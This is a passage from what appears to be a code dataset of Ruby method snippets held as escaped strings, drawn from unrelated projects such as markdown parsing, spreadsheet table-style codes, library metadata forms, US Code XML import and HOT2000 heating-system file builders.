Component.span\n end", "def child_labels\n self.meta_definition.children.map { |c| c.label }\n end", "def node_template_data\n {'node' => @node, @node['classification'] => @node}\n end", "def rdf_type_entity_fragment\n Seek::Rdf::JERMVocab.measured_item_entity_fragment(title)\n end", "def title\n\t\tklass == '-' ? TYPE_ABBREVIATIONS[type] || type : klass\n\tend", "def parse_typographic_syms\n start_line_number = @src.current_line_number\n @src.pos += @src.matched_size\n val = TYPOGRAPHIC_SYMS_SUBST[@src.matched]\n if val.kind_of?(Symbol)\n @tree.children << Element.new(:typographic_sym, val, nil, location: start_line_number)\n elsif @src.matched == '\\\\<<'\n @tree.children << Element.new(:entity, ::Kramdown::Utils::Entities.entity('lt'),\n nil, location: start_line_number)\n @tree.children << Element.new(:entity, ::Kramdown::Utils::Entities.entity('lt'),\n nil, location: start_line_number)\n else\n @tree.children << Element.new(:entity, ::Kramdown::Utils::Entities.entity('gt'),\n nil, location: start_line_number)\n @tree.children << Element.new(:entity, ::Kramdown::Utils::Entities.entity('gt'),\n nil, location: start_line_number)\n end\n end", "def _tse_type(value)\n {\n 0x00 => :whole_table, # Whole table. If this table style is applied to a PivotTable view, this formatting type also applies to page field captions and page item captions.\n 0x01 => :header_row, # Header row. If this table style is applied to a PivotTable view, this formatting type applies to the collection of rows above the data region. See S in the PivotTable Style Diagram.\n 0x02 => :total_row, # Total row. If this table style is applied to a PivotTable view, this formatting type applies to the grand total row. See N in the PivotTable Style Diagram.\n 0x03 => :first_column, # First column. If this table style is applied to a PivotTable view, this formatting type applies to the row label area, which can span multiple columns. See R in the PivotTable Style Diagram.\n 0x04 => :last_column, # Last column. If this table style is applied to a PivotTable view, this formatting type applies to the grand total column. See A in the PivotTable Style Diagram.\n 0x05 => :row_stripe_1, # Row stripe band 1\n 0x06 => :row_stripe_2, # Row stripe band 2\n 0x07 => :column_stripe_1, # Column stripe band 1\n 0x08 => :column_stripe_2, # Column stripe band 2\n 0x09 => :first_cell_header, # First cell of Header row. If this table style is applied to a PivotTable view, this formatting type applies to cells contained in area intersected by the header row and first column.\n 0x0A => :last_cell_header, # Last cell of Header row. MUST be ignored if this table style is applied to a PivotTable view.\n 0x0B => :first_cell_total, # First cell of Total row. MUST be ignored if this table style is applied to a PivotTable view.\n 0x0C => :last_cell_total, # Last cell of Total row. MUST be ignored if this table style is applied to a PivotTable view.\n 0x0D => :pt_outermost_subtotal_columns, # Outermost subtotal columns in a PivotTable view, specified by the columns displaying subtotals for the first Sxvd record in the PIVOTVD collection where the sxaxis field of the Sxvd record specifies the column axis. See B in the PivotTable Style Diagram. Used only for PivotTables.\n 0x0E => :pt_alternating_even_subtotal_columns, # Alternating even subtotal columns in a PivotTable view, specified by the columns displaying subtotals for Sxvd records for which the zero-based index in the PIVOTVD collection is an odd number, omitting Sxvd records where the sxaxis field of the Sxvd record does not specify the column axis. See C in the PivotTable Style Diagram. Used only for PivotTables.\n 0x0F => :pt_alternating_odd_subtotal_columns, # Alternating odd subtotal columns in a PivotTable view, specified by the columns displaying subtotals for Sxvd records for which the zero-based index in the PIVOTVD collection is an even number greater than zero, omitting Sxvd records where the sxaxis field of the Sxvd record does not specify the column axis. See D in the PivotTable Style Diagram. Used only for PivotTables.\n 0x10 => :pt_outermost_subtotal_rows, # Outermost subtotal rows in a PivotTable view, specified by the rows displaying subtotals for the first Sxvd record in the PIVOTVD collection where the sxaxis field of the Sxvd record specifies the row axis. See M in the PivotTable Style Diagram. Used only for PivotTables.\n 0x11 => :pt_alternating_even_subtotal_rows, # Alternating even subtotal rows in a PivotTable view, specified by the rows displaying subtotals for Sxvd records for which the zero-based index in the PIVOTVD collection is an odd number, omitting Sxvd records where the sxaxis field of the Sxvd record does not specify the row axis. See K in the PivotTable Style Diagram. Used only for PivotTables.\n 0x12 => :pt_alternating_odd_subtotal_rows, # Alternating odd subtotal rows in a PivotTable view, specified by the rows displaying subtotals for Sxvd records for which the zero-based index in the PIVOTVD collection is an even number greater than zero, omitting Sxvd records where the sxaxis field of the Sxvd record does not specify the row axis. See J in the PivotTable Style Diagram. Used only for PivotTables.\n 0x13 => :pt_empty_rows_after_each_subtotal_row, # Empty rows after each subtotal row. See L in the PivotTable Style Diagram. Used only for PivotTables.\n 0x14 => :pt_outermost_column_subheadings, # Outermost column subheadings in a PivotTable view, specified by the columns displaying pivot field captions for the first Sxvd record in the PIVOTVD collection where the sxaxis field of the Sxvd record specifies the column axis. See O in the PivotTable Style Diagram. Used only for PivotTables.\n 0x15 => :pt_alternating_even_column_subheadings, # Alternating even column subheadings in a PivotTable view, specified by the column columns displaying pivot field captions for Sxvd records for which the zero-based index in the PIVOTVD collection is an odd number, omitting Sxvd records where the sxaxis field of the Sxvd record does not specify the column axis. See P in the PivotTable Style Diagram. Used only for PivotTables.\n 0x16 => :pt_alternating_odd_column_subheadings, # Alternating odd column subheadings in a PivotTable view, specified by the columns displaying pivot field captions for Sxvd records for which the zero-based index in the PIVOTVD collection is an even number greater than zero, omitting Sxvd records where the sxaxis field of the Sxvd record does not specify the column axis. See Q in the PivotTable Style Diagram. Used only for PivotTables.\n 0x17 => :pt_outermost_row_subheadings, # Outermost row subheadings in a PivotTable view, specified by the rows displaying pivot field captions for the first Sxvd record in the PIVOTVD collection where the sxaxis field of the Sxvd record specifies the row axis. See G in the PivotTable Style Diagram. Used only for PivotTables.\n 0x18 => :pt_alternating_even_row_subheadings, # Alternating even row subheadings in a PivotTable view, specified by the rows displaying pivot field captions for Sxvd records for which the zero-based index in the PIVOTVD collection is an odd number, omitting Sxvd records where the sxaxis field of the Sxvd record does not specify the row axis. See H in the PivotTable Style Diagram. Used only for PivotTables.\n 0x19 => :pt_alternating_odd_row_subheadings, # Alternating odd row subheadings in a PivotTable view, specified by the rows displaying pivot field captions for Sxvd records for which the zero-based index in the PIVOTVD collection is an even number greater than zero, omitting Sxvd records where the sxaxis field of the Sxvd record does not specify the row axis. See I in the PivotTable Style Diagram. Used only for PivotTables.\n 0x1A => :pt_page_field_captions, # Page field captions in a PivotTable view, specified by the cells displaying pivot field captions for the Sxvd records in the PIVOTVD collection where the sxaxis field of the Sxvd record specifies the page axis. See F in the PivotTable Style Diagram. Used only for PivotTables.\n 0x1B => :pt_page_item_captions, # Page item captions in a PivotTable view, specified by the cells displaying pivot item captions for the Sxvd records in the PIVOTVD collection where the sxaxis field of the Sxvd record specifies the page axis. See E in the PivotTable Style Diagram. Used only for PivotTables.\n }[value]\n end", "def type\n @node[\"type\"] || \"text\"\n end", "def property_type_label(type)\n @driver.find_element(:xpath, \"//*[@id='LMIDD_state_propertyType']//\"\\\n \"label[text()='#{type}']\")\n end", "def type_value_fields(f)\n controls = []\n\n options_values = INGEST_MAP[f.object.group.to_sym].keys\n options = options_values.collect do |val|\n [OregonDigital::Metadata::FieldTypeLabel.for(val.to_s), val]\n end\n\n controls << f.input(\n :type,\n :collection => options,\n :input_html => {:class => \"input-medium type-selector\"},\n :label_html => {:class => \"sr-only\"},\n :wrapper_html => {:class => \"ingest-control type\"}\n )\n\n input_args = {\n :input_html => {:class => \"input-xxlarge value-field\"},\n :label_html => {:class => \"sr-only\"},\n :wrapper_html => {:class => \"ingest-control value\"}\n }\n\n # SUPER HACK! If we're looking at sets, we don't want free-text, we want a\n # drop-down. Ideally we'd have a nicer way to make any given type do this,\n # but the grouping dropdown makes it really tough without some painful new\n # configurable ingest map format combined with JavaScript that swaps a\n # dropdown over the text input magically\n if f.object.group.to_sym == :collection\n set_pids = ActiveFedora::SolrService.query(\n \"has_model_ssim:#{RSolr.escape(\"info:fedora/afmodel:GenericCollection\")}\",\n :rows => 100000\n )\n prefix = \"http://oregondigital.org/resource\"\n set_options = set_pids.map do |pid|\n set = GenericCollection.load_instance_from_solr(pid[\"id\"], pid)\n [\"#{set.title} (#{set.pid})\", \"#{prefix}/#{set.pid}\"]\n end\n\n input_args[:collection] = set_options.sort\n selected = f.object.value\n if selected.nil? || !selected.start_with?(prefix)\n selected = f.object.internal\n end\n input_args[:selected] = selected\n input_args[:include_blank] = true\n end\n\n controls << f.input(:value, input_args)\n\n if f.object.cloneable?\n controls << f.input(\n :clone,\n :as => :boolean,\n :input_html => {:class => \"input-xxlarge clone-field\"},\n :label_html => {:class => \"sr-only\"},\n :wrapper_html => {:class => \"ingest-control clone\"},\n :label => \"Clone this #{f.object.group}\"\n )\n end\n\n # Super hack, continued: don't put an internal field on the form for sets\n if f.object.group.to_sym != :collection\n controls << f.hidden_field(:internal, :class => \"internal-field\")\n end\n\n return controls.reduce { |list, next_control| list << next_control }\n end", "def context_type_result_row\n ContextTypeDef.new(\n :result_row,\n [\n /:\\s+(?<rank>(\\d{1,3}|FG|\\s*))\\s*:\\s+(?<swimmer>.{4,27})\\s*:\\s+(?<year>\\d{2})\\s*:(?<team>.{4,26})\\s*:\\s+(?<timing>((\\d{1,2}.)?\\d{2}.\\d{2})|ritirato|squalif.)\\s*:/i\n ],\n :category_header # parent context\n )\n end", "def generate_toc_tree(toc, type, attr); end", "def render_research_area_facet value\n case value\n when 'Humanities'\n str = 'hum'\n when 'Medical science'\n str = 'med'\n when 'Science/technology'\n str = 'sci'\n when 'Social science'\n str = 'soc'\n end\n t \"mxd_type_labels.research_area_labels.#{str}\"\n end", "def group_type(name)\n self.span(:class=>\"s3d-search-result-name\",:text=>name).parent.parent.span(:class=>\"mymemberships_item_grouptype\").text\n end", "def title\n return [] unless unittitle_element\n [unittitle_element.text.gsub(/\\s+/, \" \")]\n end", "def component\n simplelist(tk_send('component'))\n end", "def frbr_ui_desc\n result = \"\"\n if ! parent.blank?\n result << parent.concept_name\n result << ' | '\n end\n result << concept_name\n result << ' ('\n result << concept_type.concept_type_desc\n result << ')'\n end", "def attribute_value_to_html(value)\n table {\n thead {\n row { header { \"Type\" } + header { \"Value\" } }\n } +\n tbody {\n identifiers(value).map do |identifier|\n row {\n cell { identifier.type } +\n cell { identifier.value }\n }\n end.join\n }\n }\n end", "def generate_object_label\n \t\tlabel = \"\"\n label_names = \" - \"\n\t\tbegin\n\t\t\tnames = self.get_values_from_datastream(\"descMetadata\", [:name, :namePart], {})\n\t\t\troles = self.get_values_from_datastream(\"descMetadata\", [:name, :role, :text], {}) \n\t\t\t#'zip' name into role array\n\t\t\trole_name = roles.zip(names)\n\t role_name.each do |person|\n\t\t\t role = person[0].to_s.downcase\n\t\t\t \tif role == 'creator' || role == 'author'\n\t\t\t\t\tlabel_names = label_names + person[1] + '; '\n\t\t\t\tend\t\t\n\t end\n\t\trescue OM::XML::Terminology::BadPointerError => e\n\t\t\t#Assume that its an object without author (Set or alike)\n\t\t\tlabel_names = \"\"\n\t\tend\n\t\ttitle = self.get_values_from_datastream(\"descMetadata\", [:title], {}).to_s\n\n\t\t#truncate the title if its too long (over 100 chars)\n\t\ttitle = title.length > 100 ? title[0..100] <<'...': title unless title.nil?\n\t\tlabel = title + label_names\n \n #255 character limit for labels, we'll limit to 200 to be on the safe-side...\n label = label.length > 200 ? label[0..197] << '...' : label\t\n\n #When the label has any leading/trailing spaces strip them off...\n label = label.strip!.nil? ? label : label.strip\n\t\treturn label\n\n end", "def visitComponent component,args=nil\n name=component.name\n type=component.type\n \"component :#{name} => #{type.capitalize}\"\n end", "def create_components\n [\"red\", \"green\", \"blue\", \"gray\"].each_with_index do |item, i|\n create_trackbar(item, i)\n create_fields(item, i)\n end \n end", "def getData\n return @TCTitle.value, @Icon\n end", "def print_group(type, headings)\n rows = @items.each_with_index.map do |item, i|\n [i + 1] + item.line if item.instance_of?(type)\n end\n rows.compact!\n table = Terminal::Table.new(headings: headings, rows: rows)\n puts table\n end", "def print_elements(elements)\n text = \"\"\n elements.each do |child|\n text << \"parent = \" + child[:parent] + \"<br>\" if !child[:parent].nil?\n text << \"tag = \" + child[:tag] + \"<br>\" if !child[:tag].nil?\n text << \"attribute = \" + child[:attribute] + \"<br>\" if !child[:attribute].nil?\n text << \"value = \" + child[:value] + \"<br>\" if !child[:value].nil?\n text << \"content = \" + child[:content] + \"<br>\" if !child[:content].nil?\n text << \"<hr>\"\n end\n text\n end", "def parse_el(el, parent_numbers = [])\n\n # get element subtype from $subtypes\n el_type = el.name\n binding.pry if el_type.nil?\n return nil if el_type.nil?\n\n begin\n num = el.children.first.attributes['value'].text\n rescue\n binding.pry\n end\n # binding.pry if num.nil? || num == \"\"\n return nil if num.nil?\n\n # not sure if this will still have previous elements on recurse\n # so if I add a paragraph_number once, will it still be there on recurse\n # parent numbers can't do path, unless it's an array\n\n if !parent_numbers.find_index{ |n| n.keys.first.to_s == \"#{el_type}_number\" }.nil?\n # binding.pry\n i = parent_numbers.find_index{ |n| n.keys.first.to_s == \"#{el_type}_number\" }\n parent_numbers[i] = { \"#{el_type}_number\": num } unless num.nil?\n # binding.pry\n else\n # binding.pry\n parent_numbers << { \"#{el_type}_number\": num } unless num.nil?\n # binding.pry\n end\n binding.pry if parent_numbers.size > 10\n\n # identifier is path supplied by uscode\n begin\n identifier = el.attributes['identifier']\n identifier = identifier.value unless identifier.nil?\n rescue\n binding.pry\n end\n\n # path is hierarchy of element types built from parent_numbers\n path = build_path_from_parent_numbers(parent_numbers)\n\n heading = el.css('heading').first\n heading = heading.text.strip unless heading.nil?\n\n # chapeaus will be in span in div\n chapeau = el.css('chapeau').first if el_type != 'section'\n chapeau = chapeau.text.strip unless chapeau.nil?\n\n continuation = el.css('continuation').first if el_type != 'section'\n continuation = continuation.text.strip unless continuation.nil?\n\n # need to verify at bottom most el, and if not chapeau\n el_text = el.css('content').first\n el_text = el_text.text.strip unless el_text.nil? || el_text == \"\"\n\n # create a new node of the subtype\n # klass = el_type.titleize.constantize\n n = Node.find_by(identifier: identifier, path: path, type: el_type, num: num, title_number: parent_numbers.first[:title_number])\n\n if !n.nil?\n puts \"Node already exists, skipping\".colorize(:red)\n return nil\n end\n\n klass = Node.new({\n type: el_type,\n num: num,\n parent_numbers: parent_numbers,\n identifier: identifier,\n path: path,\n heading: heading,\n chapeau: chapeau,\n continuation: continuation,\n text: el_text,\n title_number: parent_numbers.first[:title_number]\n })\n if klass.save!\n puts \"Node created #{path} at #{DateTime.now.in_time_zone(\"Eastern Time (US & Canada)\")} for Title #{parent_numbers.first[:title_number]}\".colorize(:green)\n end\n\n # add the subtype to a parent subtype\n # sections have no parents only children\n if el_type != 'section'\n parent = Node.find_by(path: get_base_path(parent_numbers)) # need up-one-level path\n parent.children << klass\n end\n\n el.children.each do |child|\n child_name = child.name\n next if child_name.nil? || child_name.blank?\n if $subtypes.any? { |t| child_name.include?(t) } # is the child a subtype?\n parse_el(child, parent_numbers.dup) # use .dup to remove a reference\n end\n end\n end", "def credit_card_type_label\n\t $tracer.trace(__method__)\n return ToolTag.new(span.className(create_ats_regex_string(\"ats-cctypelbl\")), __method__)\n\tend", "def createH2KSysType1( elements, sysType1Name )\n locationText = \"HouseFile/House/HeatingCooling/Type1\"\n\n elements[locationText].add_element(sysType1Name)\n if ( sysType1Name == \"Baseboards\" )\n locationText = \"HouseFile/House/HeatingCooling/Type1/Baseboards\"\n elements[locationText].add_element(\"EquipmentInformation\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Baseboards/EquipmentInformation\"\n elements[locationText].attributes[\"numberOfElectronicThermostats\"] = \"0\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/Baseboards\"\n elements[locationText].add_element(\"Specifications\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Baseboards/Specifications\"\n elements[locationText].attributes[\"sizingFactor\"] = \"1.1\"\n elements[locationText].attributes[\"efficiency\"] = \"100\"\n elements[locationText].add_element(\"OutputCapacity\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Baseboards/Specifications/OutputCapacity\"\n elements[locationText].attributes[\"code\"] = \"2\" # Calculated\n elements[locationText].attributes[\"value\"] = \"0\" # Calculated value - will be replaced!\n elements[locationText].attributes[\"uiUnits\"] = \"kW\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n elsif ( sysType1Name == \"Furnace\" )\n\n\n stream_out (\"ADDING FURNACE ....\\n\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace\"\n elements[locationText].add_element(\"EquipmentInformation\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace/EquipmentInformation\"\n elements[locationText].attributes[\"energystar\"] = \"false\"\n elements[locationText].add_element(\"Manufacturer\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace\"\n elements[locationText].add_element(\"Equipment\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace/Equipment\"\n elements[locationText].attributes[\"isBiEnergy\"] = \"false\"\n elements[locationText].attributes[\"switchoverTemperature\"] = \"0\"\n elements[locationText].add_element(\"EnergySource\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace/Equipment/EnergySource\"\n elements[locationText].attributes[\"code\"] = \"2\" # Gas\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace/Equipment\"\n elements[locationText].add_element(\"EquipmentType\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace/Equipment/EquipmentType\"\n elements[locationText].attributes[\"code\"] = \"1\" # Furnace with cont. pilot\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace\"\n elements[locationText].add_element(\"Specifications\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace/Specifications\"\n elements[locationText].attributes[\"sizingFactor\"] = \"1.1\"\n elements[locationText].attributes[\"efficiency\"] = \"78\"\n elements[locationText].attributes[\"isSteadyState\"] = \"true\"\n elements[locationText].attributes[\"pilotLight\"] = \"0\"\n elements[locationText].attributes[\"flueDiameter\"] = \"127\"\n elements[locationText].add_element(\"OutputCapacity\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Furnace/Specifications/OutputCapacity\"\n elements[locationText].attributes[\"code\"] = \"2\" # Calculated\n elements[locationText].attributes[\"value\"] = \"0\" # Calculated value - will be replaced!\n elements[locationText].attributes[\"uiUnits\"] = \"kW\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n elsif ( sysType1Name == \"Boiler\" )\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler\"\n elements[locationText].add_element(\"EquipmentInformation\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler/EquipmentInformation\"\n elements[locationText].attributes[\"energystar\"] = \"false\"\n elements[locationText].add_element(\"Manufacturer\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler\"\n elements[locationText].add_element(\"Equipment\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler/Equipment\"\n elements[locationText].attributes[\"isBiEnergy\"] = \"false\"\n elements[locationText].attributes[\"switchoverTemperature\"] = \"0\"\n elements[locationText].add_element(\"EnergySource\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler/Equipment/EnergySource\"\n elements[locationText].attributes[\"code\"] = \"2\" # Gas\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler/Equipment\"\n elements[locationText].add_element(\"EquipmentType\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler/Equipment/EquipmentType\"\n elements[locationText].attributes[\"code\"] = \"1\" # Boiler with cont. pilot\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler\"\n elements[locationText].add_element(\"Specifications\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler/Specifications\"\n elements[locationText].attributes[\"sizingFactor\"] = \"1.1\"\n elements[locationText].attributes[\"efficiency\"] = \"78\"\n elements[locationText].attributes[\"isSteadyState\"] = \"true\"\n elements[locationText].attributes[\"pilotLight\"] = \"0\"\n elements[locationText].attributes[\"flueDiameter\"] = \"127\"\n elements[locationText].add_element(\"OutputCapacity\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/Boiler/Specifications/OutputCapacity\"\n elements[locationText].attributes[\"code\"] = \"2\" # Calculated\n elements[locationText].attributes[\"value\"] = \"0\" # Calculated value - will be replaced!\n elements[locationText].attributes[\"uiUnits\"] = \"kW\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n elsif ( sysType1Name == \"ComboHeatDhw\" )\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw\"\n elements[locationText].add_element(\"EquipmentInformation\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/EquipmentInformation\"\n elements[locationText].attributes[\"energystar\"] = \"false\"\n elements[locationText].add_element(\"Manufacturer\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw\"\n elements[locationText].add_element(\"Equipment\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/Equipment\"\n elements[locationText].add_element(\"EnergySource\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/Equipment/EnergySource\"\n elements[locationText].attributes[\"code\"] = \"2\" # Gas\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/Equipment\"\n elements[locationText].add_element(\"EquipmentType\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/Equipment/EquipmentType\"\n elements[locationText].attributes[\"code\"] = \"1\" # ComboHeatDhw with cont. pilot\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw\"\n elements[locationText].add_element(\"Specifications\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/Specifications\"\n elements[locationText].attributes[\"sizingFactor\"] = \"1.1\"\n elements[locationText].attributes[\"efficiency\"] = \"78\"\n elements[locationText].attributes[\"isSteadyState\"] = \"true\"\n elements[locationText].attributes[\"pilotLight\"] = \"25.3\"\n elements[locationText].attributes[\"flueDiameter\"] = \"152.4\"\n elements[locationText].add_element(\"OutputCapacity\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/Specifications/OutputCapacity\"\n elements[locationText].attributes[\"code\"] = \"2\" # Calculated\n elements[locationText].attributes[\"value\"] = \"0\" # Calculated value - will be replaced!\n elements[locationText].attributes[\"uiUnits\"] = \"kW\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw\"\n elements[locationText].add_element(\"ComboTankAndPump\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/ComboTankAndPump\"\n elements[locationText].add_element(\"TankCapacity\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/ComboTankAndPump/TankCapacity\"\n elements[locationText].attributes[\"code\"] = \"3\"\n elements[locationText].attributes[\"value\"] = \"151.4\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/ComboTankAndPump\"\n elements[locationText].add_element(\"EnergyFactor\")\n elements[locationText].attributes[\"useDefaults\"] = \"true\"\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/ComboTankAndPump\"\n elements[locationText].add_element(\"TankLocation\")\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/ComboHeatDhw/ComboTankAndPump\"\n elements[locationText].add_element(\"CirculationPump\")\n elements[locationText].attributes[\"isCalculated\"] = \"true\"\n elements[locationText].attributes[\"value\"] = \"0\"\n elements[locationText].attributes[\"hasEnergyEfficientMotor\"] = \"false\"\n\n elsif ( sysType1Name == \"P9\" )\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9\"\n elements[locationText].attributes[\"id\"] = \"0\"\n elements[locationText].attributes[\"numberOfSystems\"] = \"1\"\n elements[locationText].attributes[\"thermalPerformanceFactor\"] = \"0.9\"\n elements[locationText].attributes[\"annualElectricity\"] = \"1800\"\n elements[locationText].attributes[\"spaceHeatingCapacity\"] = \"23900\"\n elements[locationText].attributes[\"spaceHeatingEfficiency\"] = \"90\"\n elements[locationText].attributes[\"waterHeatingPerformanceFactor\"] = \"0.9\"\n elements[locationText].attributes[\"burnerInput\"] = \"0\"\n elements[locationText].attributes[\"recoveryEfficiency\"] = \"0\"\n elements[locationText].attributes[\"isUserSpecified\"] = \"true\"\n elements[locationText].add_element(\"EquipmentInformation\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/EquipmentInformation\"\n elements[locationText].add_element(\"Manufacturer\")\n elements[locationText].add_element(\"Model\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/EquipmentInformation/Manufacturer\"\n elements[locationText].text = \"Generic\"\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/EquipmentInformation/Model\"\n elements[locationText].text = \"Generic\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9\"\n elements[locationText].add_element(\"TestData\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/TestData\"\n elements[locationText].attributes[\"controlsPower\"] = \"10\"\n elements[locationText].attributes[\"circulationPower\"] = \"130\"\n elements[locationText].attributes[\"dailyUse\"] = \"0.2\"\n elements[locationText].attributes[\"standbyLossWithFan\"] = \"0\"\n elements[locationText].attributes[\"standbyLossWithoutFan\"] = \"0\"\n elements[locationText].attributes[\"oneHourRatingHotWater\"] = \"1000\"\n elements[locationText].attributes[\"oneHourRatingConcurrent\"] = \"1000\"\n elements[locationText].add_element(\"EnergySource\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/TestData/EnergySource\"\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/TestData\"\n elements[locationText].add_element(\"NetEfficiency\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/TestData/NetEfficiency\"\n elements[locationText].attributes[\"loadPerformance15\"] = \"80\"\n elements[locationText].attributes[\"loadPerformance40\"] = \"80\"\n elements[locationText].attributes[\"loadPerformance100\"] = \"80\"\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/TestData\"\n elements[locationText].add_element(\"ElectricalUse\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/TestData/ElectricalUse\"\n elements[locationText].attributes[\"loadPerformance15\"] = \"100\"\n elements[locationText].attributes[\"loadPerformance40\"] = \"200\"\n elements[locationText].attributes[\"loadPerformance100\"] = \"300\"\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/TestData\"\n elements[locationText].add_element(\"BlowerPower\")\n locationText = \"HouseFile/House/HeatingCooling/Type1/P9/TestData/BlowerPower\"\n elements[locationText].attributes[\"loadPerformance15\"] = \"300\"\n elements[locationText].attributes[\"loadPerformance40\"] = \"500\"\n elements[locationText].attributes[\"loadPerformance100\"] = \"800\"\n end\nend", "def render_facet_hierarchy_item(field_name, data, key)\n item = data[:_]\n subset = data.reject { |k,v| ! k.is_a?(String) }\n \n li_class = subset.empty? ? 'h-leaf' : 'h-node'\n li = ul = ''\n \n if item.nil?\n li = key\n elsif facet_in_params?(field_name, item.qvalue)\n li = render_selected_qfacet_value(field_name, item)\n else\n li = render_qfacet_value(field_name, item)\n end\n \n unless subset.empty?\n subul = subset.keys.sort.collect do |subkey| \n render_facet_hierarchy_item(field_name, subset[subkey], subkey) \n end.join('')\n ul = \"<ul>#{subul}</ul>\".html_safe\n end\n \n %{<li class=\"#{li_class}\">#{li.html_safe}#{ul.html_safe}</li>}.html_safe\nend", "def series_sortable(solr_doc)\n title_for_heading(solr_doc[Solrizer.solr_name(\"parent_unittitles\", :displayable)]) unless solr_doc[Solrizer.solr_name(\"parent_unittitles\", :displayable)].nil?\n end", "def createH2KSysType2( elements, sysType2Name )\n\n locationText = \"HouseFile/House/HeatingCooling/Type2\"\n elements[locationText].add_element(sysType2Name)\n elements[locationText].attributes[\"shadingInF280Cooling\"] = \"AccountedFor\"\n\n if ( sysType2Name == \"AirHeatPump\" )\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump\"\n elements[locationText].add_element(\"EquipmentInformation\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/EquipmentInformation\"\n elements[locationText].attributes[\"energystar\"] = \"false\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump\"\n elements[locationText].add_element(\"Equipment\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Equipment\"\n elements[locationText].attributes[\"crankcaseHeater\"] = \"60\"\n elements[locationText].add_element(\"Type\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Equipment/Type\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Equipment\"\n elements[locationText].add_element(\"Function\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Equipment/Function\"\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump\"\n elements[locationText].add_element(\"Specifications\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Specifications\"\n 